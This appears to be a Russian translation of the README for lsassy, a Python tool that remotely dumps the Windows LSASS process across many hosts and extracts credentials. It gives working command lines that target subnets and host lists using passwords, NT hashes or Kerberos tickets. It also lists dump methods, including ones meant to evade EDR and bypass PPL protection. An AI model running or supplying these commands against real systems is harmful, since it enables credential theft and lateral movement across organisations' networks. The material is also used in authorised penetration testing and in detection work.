
Извлекать учетные данные из lsass удаленно
Python-инструмент для удалённого извлечения учётных данных на наборе хостов. В этом посте в блоге объясняется, как это работает.
Этот инструмент использует проект impacket для удалённого чтения необходимых байтов из дампа lsass и pypykatz для извлечения учётных данных.
| Главы | Описание |
|---|---|
| Предупреждение | Перед использованием этого инструмента прочтите это |
| Установка | Установка lsassy |
| Базовое использование | Базовое использование lsassy |
| Расширенное использование | Расширенное использование lsassy с пояснением параметров |
| Добавление метода дампа | Как добавить пользовательский метод дампа lsass |
| Благодарности | Благодарности этим людям и инструментам |
| Официальный Discord | Официальный сервер Discord |
Хотя я приложил все усилия, чтобы сделать инструмент стабильным, при возникновении ошибок могут остаться следы.
Этот инструмент может либо оставить некоторые дампы lsass, если не удалось их удалить (хотя он очень старается это сделать), либо оставить запланированную задачу, если не удалось её удалить. Этого не должно происходить, но может. Теперь вы знаете, используйте с осторожностью.
lsassy работает с python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy работает «из коробки» с несколькими целями (IP, диапазоны, CIDR, имена хостов, FQDN, файлы со списком целей)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
По умолчанию lsassy попытается удалённо выполнить дамп lsass с помощью метода comsvcs.dll либо через WMI, либо через удалённую запланированную задачу.
lsassy может аутентифицироваться с помощью Kerberos. Для этого требуется действительный TGT в переменной окружения KRB5CCNAME. См. расширенное использование для получения дополнительных сведений.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
В lsassy реализованы различные методы дампа lsass, а также предоставлены некоторые опции, дающие пользователю контроль над тем, как будет работать инструмент.
lsassy разделён на модули
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Этот модуль является оркестратором. Он создаёт класс lsassy с переданными аргументами и опциями, а затем вызывает различные модули для получения учётных данных.
Этот модуль используется для ведения журнала.
Это слой, построенный поверх Impacket, который ведёт себя как встроенный файловый объект Python. Он переопределяет методы, такие как open, read, seek или close.
Этот модуль содержит всю логику дампа. В зависимости от используемого метода он выполняет код на удалённом хосте для дампа lsass с помощью выбранного метода.
Этот модуль использует pypykatz и модуль файла lsassy для удалённого разбора дампа lsass.
Этот модуль отвечает за вывод результатов — либо на экран в разных форматах, либо за запись результатов в файл.
Этот инструмент может выполнять дамп lsass различными способами.
Методы дампа (-m или --method):
Этот метод использует только встроенные файлы Windows для удалённого извлечения учётных данных. Он использует функцию minidump из comsvcs.dll для дампа процесса lsass.
Этот метод загружает procdump.exe из SysInternals для дампа процесса lsass.
Этот метод загружает dumpert.exe или dumpert.dll из outflanknl для дампа процесса lsass с использованием системных вызовов.
Этот метод загружает NativeDump.exe из ricardojoserf для дампа процесса lsass, используя только NTAPI.
Этот метод загружает ppldump.exe из itm4n для дампа процесса lsass и обхода PPL.
Этот метод загружает Mirrordump.exe из Ccob для дампа lsass с использованием уже открытого дескриптора к lsass через LSA-плагин.
Этот метод использует технику WER, применяемую в PowerSploit.
Для некоторых методов дампа требуются опции, например путь к procdump или dumpert. Эти опции можно задать с помощью --options или -O со списком опций, разделённых запятыми, в формате ключ=значение.
... --options key=value,foo=bar
Например:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll